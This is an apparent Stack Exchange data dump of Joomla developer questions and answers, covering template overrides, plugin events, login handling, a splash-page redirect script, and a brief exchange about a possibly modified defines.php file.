  <row Id="14812" PostTypeId="1" AcceptedAnswerId="14813" CreationDate="2015-12-29T14:56:27.170" Score="2" ViewCount="1617" Body="&lt;p&gt;I am trying to override the layout views of &lt;code&gt;com_users&lt;/code&gt; in the admin side. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have copied all view of &lt;code&gt;com_users&lt;/code&gt; ie:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;com_users/views/user/...&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and copied it to the administrator template ie: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;templates/isis/html/com_users/user/...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however no changes reflect on changing the template files , what am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7463" LastEditorUserId="126" LastEditDate="2015-12-29T15:12:14.570" LastActivityDate="2015-12-29T15:20:40.007" Title="Layout override of admin com_users" Tags="|joomla-3.x|layout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14813" PostTypeId="2" ParentId="14812" CreationDate="2015-12-29T15:06:19.160" Score="4" Body="&lt;p&gt;I think you might have got muddled up with the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to override the view for the front-end of your website, you need to copy the view files to the front-end template. By default, it will be Protostar, &lt;strong&gt;not&lt;/strong&gt; Isis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have 5 different views with the &lt;code&gt;com_users&lt;/code&gt; component:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login&lt;/li&gt;&#xA;&lt;li&gt;Profile&lt;/li&gt;&#xA;&lt;li&gt;Registration&lt;/li&gt;&#xA;&lt;li&gt;Remind&lt;/li&gt;&#xA;&lt;li&gt;Reset&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you want to override the Login view, you need to copy the PHP files from here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components\com_users\views\login\tmpl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and your end result will be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/MY_TEMPLATE/html/com_users/login/default.php&#xA;templates/MY_TEMPLATE/html/com_users/login/default_logout.php&#xA;templates/MY_TEMPLATE/html/com_users/login/default_login.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-12-29T15:06:19.160" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="14814" PostTypeId="2" ParentId="14812" CreationDate="2015-12-29T15:17:05.010" Score="5" Body="&lt;p&gt;You should not copy the full view folder, only the template files of a particular view, that you want to override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, the following file needs to be copied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/components/com_users/views/user/tmpl/edit.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and placed in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;administrator/templates/isis/html/com_users/user/edit.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The difference here is that you should not include the tmpl folder, inside the overrides folder.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="168" LastEditDate="2015-12-29T15:20:40.007" LastActivityDate="2015-12-29T15:20:40.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14815" PostTypeId="2" ParentId="14801" CreationDate="2015-12-29T16:06:09.937" Score="0" Body="&lt;p&gt;@Salivan, I see why you want to remove those assets now.&#xA;Just curious: how did you remove the articles and tags? via database or within Joomla?&lt;/p&gt;&#xA;&lt;p&gt;Now to remove the assets, you should make sure that these are orphaned ones and are not relating to current data.&lt;/p&gt;&#xA;&lt;p&gt;If you have removed everything then you could clear these assets as well - but first backup the table in case something breaks.&lt;/p&gt;&#xA;&lt;p&gt;If those assets are related to articles that are still in the db, then you shouldn't delete them.&#xA;If you try to do this manually then there will be work, as you will have to deal with finding tags and articles that are still there.&lt;/p&gt;&#xA;&lt;p&gt;You might have some better luck by using the &lt;strong&gt;&lt;a href=&quot;http://aclmanager.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ACL_MANAGER&lt;/a&gt;&lt;/strong&gt; component, which deals with fixing assets - it might be able to remove those orphaned assets.&lt;/p&gt;&#xA;&lt;p&gt;You can ask the developer if the extension is able to remove those particular orphaned assets, before purchase.&lt;/p&gt;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&lt;p&gt;Actually, I did a quick test with aclmanager to see if it deals with the assets for content-items and tags: added a tag to an article, then deleted the tag and the article within Joomla admin, run the acl_manager extension, but the corresponding assets is still in the db.&lt;/p&gt;&#xA;&lt;p&gt;So I guess some kind of &amp;quot;manual&amp;quot; approach should be followed in order to clear those assets.&lt;/p&gt;&#xA;&lt;h3&gt;Update 2:&lt;/h3&gt;&#xA;&lt;p&gt;I have some better news, regarding the assets.&#xA;They are able to be recreated if they do not exist, for any remaining articles/tags. So, if you delete all the assets of type #__ucm_content.xxx, even for articles/tags that exist, they can be recreated by doing re-saving the articles - or doing some kind of batch changing (.e.g change category for many articles).&lt;/p&gt;&#xA;&lt;p&gt;So, I would suggest, in a test environment, you can do your trials with these and work on the database to see how things go.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-12-29T16:26:51.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14816" PostTypeId="1" AcceptedAnswerId="14819" CreationDate="2015-12-29T17:01:25.577" Score="1" ViewCount="50" Body="&lt;p&gt;Id like to assign an administrator module to all pages, This is very simple with site modules as you can assign in the &quot;menu manager&quot; tab , however in the admin module the &quot;menu manager&quot; tab is not available , any help with this ?&lt;/p&gt;&#xA;" OwnerUserId="7463" LastActivityDate="2015-12-29T22:23:07.803" Title="Assign admin module to all admin pages" Tags="|joomla-3.x|module|administrator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14817" PostTypeId="1" AcceptedAnswerId="14818" CreationDate="2015-12-29T21:56:32.687" Score="3" ViewCount="184" Body="&lt;p&gt;I do a custom PHP page that allows member to validate their Joomla login credentials.  Following is the code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $credentials = array(&#xA;        'username' =&amp;gt; $username,&#xA;        'password' =&amp;gt; $password);&#xA;&#xA;    $options = array();&#xA;&#xA;    $authenticate = JAuthentication::getInstance();&#xA;    $response = $authenticate-&amp;gt;authenticate($credentials, $options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will this code obey the Joomla user plugin events.  For example If I write a plugin that uses 'onUserAfterLogin' will the above code call the plugin hook?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-12-29T22:18:38.547" Title="Will Joomla JAuthentication obey the user plugins?" Tags="|joomla-3.x|plugin|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14818" PostTypeId="2" ParentId="14817" CreationDate="2015-12-29T22:18:38.547" Score="5" Body="&lt;p&gt;No. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To trigger plugin events, you should use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$credentials = array(&#xA;    'username' =&amp;gt; $username,&#xA;    'password' =&amp;gt; $password);&#xA;&#xA;$options = array();&#xA;&#xA;$app = JApplicationCms::getInstance('site');&#xA;$result = $app-&amp;gt;login($credentials, $options); // boolean true, if login suceeded&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as you can guess, this will do real login. So user will be logged in. If you want user to still be logged out, just use below code after success from &lt;code&gt;$result&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($result){&#xA;    $app-&amp;gt;logout();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-12-29T22:18:38.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14819" PostTypeId="2" ParentId="14816" CreationDate="2015-12-29T22:23:07.803" Score="1" Body="&lt;p&gt;You have to set your module to position, which is used in every page. For example: &lt;code&gt;menu&lt;/code&gt;, &lt;code&gt;bottom&lt;/code&gt;, &lt;code&gt;footer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isis possible module positions are (according to &lt;code&gt;templateDetails.xml&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;menu&lt;/li&gt;&#xA;&lt;li&gt;submenu&lt;/li&gt;&#xA;&lt;li&gt;toolbar&lt;/li&gt;&#xA;&lt;li&gt;title&lt;/li&gt;&#xA;&lt;li&gt;status&lt;/li&gt;&#xA;&lt;li&gt;icon&lt;/li&gt;&#xA;&lt;li&gt;cp_shell&lt;/li&gt;&#xA;&lt;li&gt;cpanel&lt;/li&gt;&#xA;&lt;li&gt;bottom&lt;/li&gt;&#xA;&lt;li&gt;footer&lt;/li&gt;&#xA;&lt;li&gt;login&lt;/li&gt;&#xA;&lt;li&gt;debug&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Try and see which fits you best.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-12-29T22:23:07.803" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14820" PostTypeId="1" AcceptedAnswerId="14829" CreationDate="2015-12-30T03:50:15.193" Score="1" ViewCount="140" Body="&lt;p&gt;I'm having problems getting onUserAfterSaveGroup to fire on Joomla3.4.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've published a system plugin and tested that it works using &lt;code&gt;function onUserLogin()&lt;/code&gt;, but when I try to use &lt;code&gt;function onUserAfterSaveGroup()&lt;/code&gt; I fail to trigger the event. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test the plugin, I logged into the frontend as the testuser and I logged into the backend as Admin and went to Users&gt;Usermanager&gt;testuser&gt;Assigned User Groups. I then added testuser to a new usergroup and clicked Save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the plugin I had the following code (UPDATED)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    defined('_JEXEC') or die;&#xA;    jimport('joomla.plugin.plugin');&#xA;    class plgSystemcustomcheckJoomlaEvents extends JPlugin {&#xA;&#xA;    /**&#xA;     * Constructor.&#xA;     *&#xA;     * @param   $subject&#xA;     * @param   array $config&#xA;     */     &#xA;&#xA;    public function onUserAfterSaveGroup()&#xA;    {&#xA;        echo &quot;onUserAfterSaveGroup triggered&quot;;&#xA;        die(); &#xA;    }&#xA;&#xA;    public function onUserLogin($user,$options)&#xA;    {&#xA;        /*THis WORkS */&#xA;        //echo 'onUserLogin triggered'; &#xA;        //die();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expected to see the message &quot;onUserAfterSaveGroup&quot; show for testuser, but this didn't happen. I tried refreshing the page, but that didn't do anything either. The event wasn't triggered for Admin either (although I wasn't expecting it to).&#xA;Can someone explain why the event is not triggered for testuser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a follow up to my question posted at &lt;a href=&quot;https://joomla.stackexchange.com/questions/14792/what-joomla-events-are-triggered-when-a-usergroup-is-changed&quot;&gt;What Joomla events are triggered when a usergroup is changed?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-12-31T07:58:21.493" Title="Why doesn't onUserAfterSaveGroup get triggered when editing groups as Administrator?" Tags="|joomla-3.x|user-groups|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14822" PostTypeId="2" ParentId="14707" CreationDate="2015-12-30T11:11:42.537" Score="2" Body="&lt;p&gt;Well I found out that the issue was with the jdoc in templates index file and it was not rendering due to &quot;imagecreatetruecolor&quot; function and incorrect path to a file. After installing php-gd extension and correcting the path, the site content is now loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file was included using require_once which was inside an div tag block which had display property set to none and that's why the errors where not showing.&lt;/p&gt;&#xA;" OwnerUserId="7456" LastActivityDate="2015-12-30T11:11:42.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14827" PostTypeId="1" CreationDate="2015-12-30T16:10:25.350" Score="1" ViewCount="112" Body="&lt;p&gt;My joomla website has a number(100) of articles in a category named xyz.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i  add the name XYZ or text abc to every article in the category xyz?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of this is so that a public user can find/list all articles in category xyz by typing the term xyz or text abc  into smart search box.&lt;/p&gt;&#xA;" OwnerUserId="7528" LastEditorUserId="7528" LastEditDate="2016-01-02T00:17:50.867" LastActivityDate="2017-06-19T16:55:36.997" Title="Smartsearch and tags" Tags="|smartsearch|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14829" PostTypeId="2" ParentId="14820" CreationDate="2015-12-31T07:58:21.493" Score="1" Body="&lt;p&gt;Maybe I wasn't clear enough on your previous question. &lt;code&gt;onUserAfterSaveGroup&lt;/code&gt; get's triggered only if you change usergroup (not user). This is view &lt;code&gt;administrator/index.php?option=com_users&amp;amp;view=groups&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-12-31T07:58:21.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14830" PostTypeId="1" AcceptedAnswerId="14834" CreationDate="2015-12-31T08:35:18.367" Score="3" ViewCount="487" Body="&lt;p&gt;I need to redirect new visitor to a splash page created with joomla article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    function redirect() {&#xA;        var thecookie = readCookie('doRedirect');&#xA;        if (!thecookie) {&#xA;            window.location = 'prehome';&#xA;        }&#xA;    }&#xA;&#xA;    function createCookie(name, value, days) {&#xA;        if (days) {&#xA;            var date = new Date();&#xA;            date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));&#xA;            var expires = &quot;; expires=&quot; + date.toGMTString();&#xA;        } else var expires = &quot;&quot;;&#xA;        document.cookie = name + &quot;=&quot; + value + expires + &quot;; path=/&quot;;&#xA;    }&#xA;&#xA;    function readCookie(name) {&#xA;        var nameEQ = name + &quot;=&quot;;&#xA;        var ca = document.cookie.split(';');&#xA;        for (var i = 0; i &amp;lt; ca.length; i++) {&#xA;            var c = ca[i];&#xA;            while (c.charAt(0) == ' ') c = c.substring(1, c.length);&#xA;            if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);&#xA;        }&#xA;        return null;&#xA;    }&#xA;    window.onload = function() {&#xA;        redirect();&#xA;        createCookie('doRedirect', 'true', '999');&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I copied this script in &lt;code&gt;theme.php&lt;/code&gt; of the template.&lt;br&gt;&#xA;It also works if I add the script in a module and publish it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for some seconds the homepage is shown before redirecting to the splash page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a script to prevent the showing the homepage before splash page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, is there a script to apply to my &lt;code&gt;.htaccess&lt;/code&gt; file?&lt;/p&gt;&#xA;" OwnerUserId="7532" LastEditorUserId="1629" LastEditDate="2015-12-31T12:15:00.130" LastActivityDate="2015-12-31T12:36:07.330" Title="Redirect to splash page before home for new visitors" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14833" PostTypeId="1" CreationDate="2015-12-31T11:38:05.713" Score="1" ViewCount="174" Body="&lt;p&gt;I want to start unit testing my own joomla library and components. So I downloaded tests folder and phpunit.dist.xml file from &lt;a href=&quot;https://github.com/joomla/joomla-cms&quot; rel=&quot;nofollow&quot;&gt;Github&lt;/a&gt;. Then I copied those files to joomla directory(renamed phpunit.xml.dist to phpunit.xml). Directory structure is now like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;joomla/&#xA;     administrator/&#xA;     bin/&#xA;     cache/&#xA;     ..&#xA;     ..&#xA;     tests/&#xA;     configuration.php&#xA;     index.php&#xA;     ...&#xA;     phpunit.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Class 'JComponentRouterView' not found in C:\...joomla\tests\unit\suites\libraries\cms\component\router\stubs\JComponentRouterViewInspector.php on line 18.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using netbeans. Even if I run phpunit from command line I get the same error. Its been almost 2 days and I'm stuck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this ?&lt;/p&gt;&#xA;" OwnerUserId="2025" LastEditorUserId="115" LastEditDate="2015-12-31T11:51:09.143" LastActivityDate="2015-12-31T11:51:09.143" Title="JComponentRouterView not found .... when unit testing Joomla" Tags="|joomla-3.x|troubleshooting|unit-testing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14834" PostTypeId="2" ParentId="14830" CreationDate="2015-12-31T12:36:07.330" Score="4" Body="&lt;p&gt;It looks like your redirect script is fired on &lt;code&gt;window.onload&lt;/code&gt;, and as described in &lt;a href=&quot;https://stackoverflow.com/questions/3520780/when-is-window-onload-fired&quot;&gt;this post&lt;/a&gt;, that's after all your content is loaded. That's why you see the home page for a moment before a user is redirected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try modifying your script like this, and place it between your &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    function createCookie(name, value, days) {&#xA;        if (days) {&#xA;            var date = new Date();&#xA;            date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));&#xA;            var expires = &quot;; expires=&quot; + date.toGMTString();&#xA;        } else var expires = &quot;&quot;;&#xA;        document.cookie = name + &quot;=&quot; + value + expires + &quot;; path=/&quot;;&#xA;    }&#xA;&#xA;    function readCookie(name) {&#xA;        var nameEQ = name + &quot;=&quot;;&#xA;        var ca = document.cookie.split(';');&#xA;        for (var i = 0; i &amp;lt; ca.length; i++) {&#xA;            var c = ca[i];&#xA;            while (c.charAt(0) == ' ') c = c.substring(1, c.length);&#xA;            if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);&#xA;        }&#xA;        return null;&#xA;    }&#xA;    var thecookie = readCookie('doRedirect');&#xA;    if (!thecookie) {&#xA;        createCookie('doRedirect', 'true', '999');&#xA;        window.location = 'prehome';&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Other solutions&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You might also consider using a modal popup, some extensions can load the popup once, and set a cookie in order to avoid users to see it again:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;NoNumber Modals&lt;/strong&gt;&lt;br&gt;&#xA;NoNumber has a nice popup extension called &lt;a href=&quot;http://www.nonumber.nl/extensions/modals&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modals&lt;/a&gt;, and it has an option to display popup only once (I think you need the pro version for this):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{modal html=This modal will only show once|openOnce=1}{/modal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check out the &lt;a href=&quot;http://demo.nonumber.nl/index.php/12-modals&quot; rel=&quot;nofollow noreferrer&quot;&gt;demo here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Joomla Content Editor&lt;/strong&gt;&lt;br&gt;&#xA;The Joomla Content Editor also has a function to display a popup only once. Read more here: &lt;a href=&quot;https://www.joomlacontenteditor.net/support/tutorials/jcemediabox/item/create-a-media-popup&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlacontenteditor.net/support/tutorials/jcemediabox/item/create-a-media-popup&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;a href=&quot;/instructions.html&quot; class=&quot;jcepopup autopopup-single&quot; type=&quot;text/html&quot; id=&quot;autopopup&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-12-31T12:36:07.330" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14836" PostTypeId="1" CreationDate="2015-12-31T22:33:03.977" Score="1" ViewCount="1996" Body="&lt;p&gt;Am using &lt;code&gt;JModelLegacy&lt;/code&gt; to get records , everthing works fine . however when setting limit with &lt;code&gt;$model-&amp;gt;setState('list.limit', 6);&lt;/code&gt; its not limiting the records below is my code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      $model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' =&amp;gt; false));&#xA;      $appParams = JFactory::getApplication()-&amp;gt;getParams();&#xA;      $model-&amp;gt;setState('params', $appParams);&#xA;      $model-&amp;gt;setState('filter.category_id',$cat_id ); //change that to your Category ID&#xA;       $model-&amp;gt;setState('list.limit', 6);&#xA;      $model-&amp;gt;setState('list.ordering', 'hits');&#xA;      $model-&amp;gt;setState('list.direction', 'ASC');&#xA;      $items = $model-&amp;gt;getItems();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7463" LastActivityDate="2016-03-02T04:53:39.903" Title="JModelLegacy $model-&gt;setState('list.limit', 6); not limit list" Tags="|joomla-3.x|jmodel|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14837" PostTypeId="1" CreationDate="2016-01-01T16:59:38.753" Score="-2" ViewCount="320" Body="&lt;p&gt;Can you please tell me if this file has some malicious code inside? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/Cg1PzSrk&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/Cg1PzSrk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3703" LastEditorUserId="3650" LastEditDate="2016-03-08T00:54:54.610" LastActivityDate="2016-03-08T00:54:54.610" Title="Has this file malicious code inside?" Tags="|fix-my-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14838" PostTypeId="2" ParentId="14837" CreationDate="2016-01-01T17:19:40.670" Score="1" Body="&lt;p&gt;This file is the defines.php of the administrator site and yes it is modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what the original file should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package    Joomla.Administrator&#xA; *&#xA; * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;// Global definitions&#xA;$parts = explode(DIRECTORY_SEPARATOR, JPATH_BASE);&#xA;array_pop($parts);&#xA;&#xA;// Defines&#xA;define('JPATH_ROOT',          implode(DIRECTORY_SEPARATOR, $parts));&#xA;define('JPATH_SITE',          JPATH_ROOT);&#xA;define('JPATH_CONFIGURATION', JPATH_ROOT);&#xA;define('JPATH_ADMINISTRATOR', JPATH_ROOT . DIRECTORY_SEPARATOR . 'administrator');&#xA;define('JPATH_LIBRARIES',     JPATH_ROOT . DIRECTORY_SEPARATOR . 'libraries');&#xA;define('JPATH_PLUGINS',       JPATH_ROOT . DIRECTORY_SEPARATOR . 'plugins');&#xA;define('JPATH_INSTALLATION',  JPATH_ROOT . DIRECTORY_SEPARATOR . 'installation');&#xA;define('JPATH_THEMES',        JPATH_BASE . DIRECTORY_SEPARATOR . 'templates');&#xA;define('JPATH_CACHE',         JPATH_BASE . DIRECTORY_SEPARATOR . 'cache');&#xA;define('JPATH_MANIFESTS',     JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . 'manifests');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-01-01T17:19:40.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14841" PostTypeId="1" AcceptedAnswerId="15210" CreationDate="2016-01-01T19:38:30.940" Score="1" ViewCount="1947" Body="&lt;p&gt;I am trying to integrate a virtual classroom into my website using software from a company called Braincert...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;They provide a Joomla Component&lt;/strong&gt; and a Virtual Classroom API also. (Here is the documentation to the API: &lt;a href=&quot;https://www.braincert.com/developer/virtualclassroom-api&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.braincert.com/developer/virtualclassroom-api&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is what they say about the API:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BrainCert provides a RESTful interface to the resources in the Virtual&#xA;  Classroom e.g. classes, video recordings, shopping cart, etc. Once&#xA;  your API key has authenticated a BrainCert user, it can call a REST&#xA;  API endpoint using the obtained access token and get the corresponding&#xA;  resources. A simple example is getting the authenticated user's list&#xA;  of live classes using the API endpoint.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The features that I need to display on my site are shown on the documentation page... These are...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Schedule a new Live class&lt;/li&gt;&#xA;&lt;li&gt;List Classes&lt;/li&gt;&#xA;&lt;li&gt;Get Class&lt;/li&gt;&#xA;&lt;li&gt;Get Class Launch URL&lt;/li&gt;&#xA;&lt;li&gt;Remove Class&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At this point the &lt;strong&gt;Joomla! component they provide&lt;/strong&gt; is extremely sparse and only has the option of creating one page (menu item) that simply shows a long list of &quot;classes&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display all of the pages listed above...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They say that this &quot;&lt;strong&gt;documentation allows you to get responses using JSON or XML where relevant.&lt;/strong&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now from the examples they provide it seems as though I need to get &quot;responses&quot; using JSON... so taking the first example &quot;Schedule a new Live class&quot; I need to write the request parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is where I get stuck&lt;/strong&gt;, I have no clue how any of this works. Can I do this in a custom HTML document? Do I need to make a brand new component from scratch to display and process all of this? How much coding/what skills am I going to need to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They provide a table of &quot;Request Requirements&quot; but I have not idea how to turn this into something that can be used and displayed on my website!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PWPDg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PWPDg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies if my questions make absolutely no sense, I am clearly out of my depth here, but am willing to learn so any pointers in the right direction would be extremely appreciated!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jethro.&lt;/p&gt;&#xA;" OwnerUserId="7517" LastActivityDate="2017-03-09T01:46:35.570" Title="Where to begin integrating a RESTful API into Joomla?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14843" PostTypeId="1" AcceptedAnswerId="14845" CreationDate="2016-01-02T09:38:04.577" Score="3" ViewCount="3788" Body="&lt;p&gt;I'm a newbie to Joomla 3 and I have installed it on my PC using Wamp 2.5. I published an article, but the article is not showing on the website. What is the problem and how do I fix it?&lt;/p&gt;&#xA;" OwnerUserId="7539" LastEditorUserId="115" LastEditDate="2016-01-03T10:23:48.933" LastActivityDate="2017-11-05T18:59:45.227" Title="Joomla 3-article is published but not showing" Tags="|joomla-3.x|articles|beginner|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
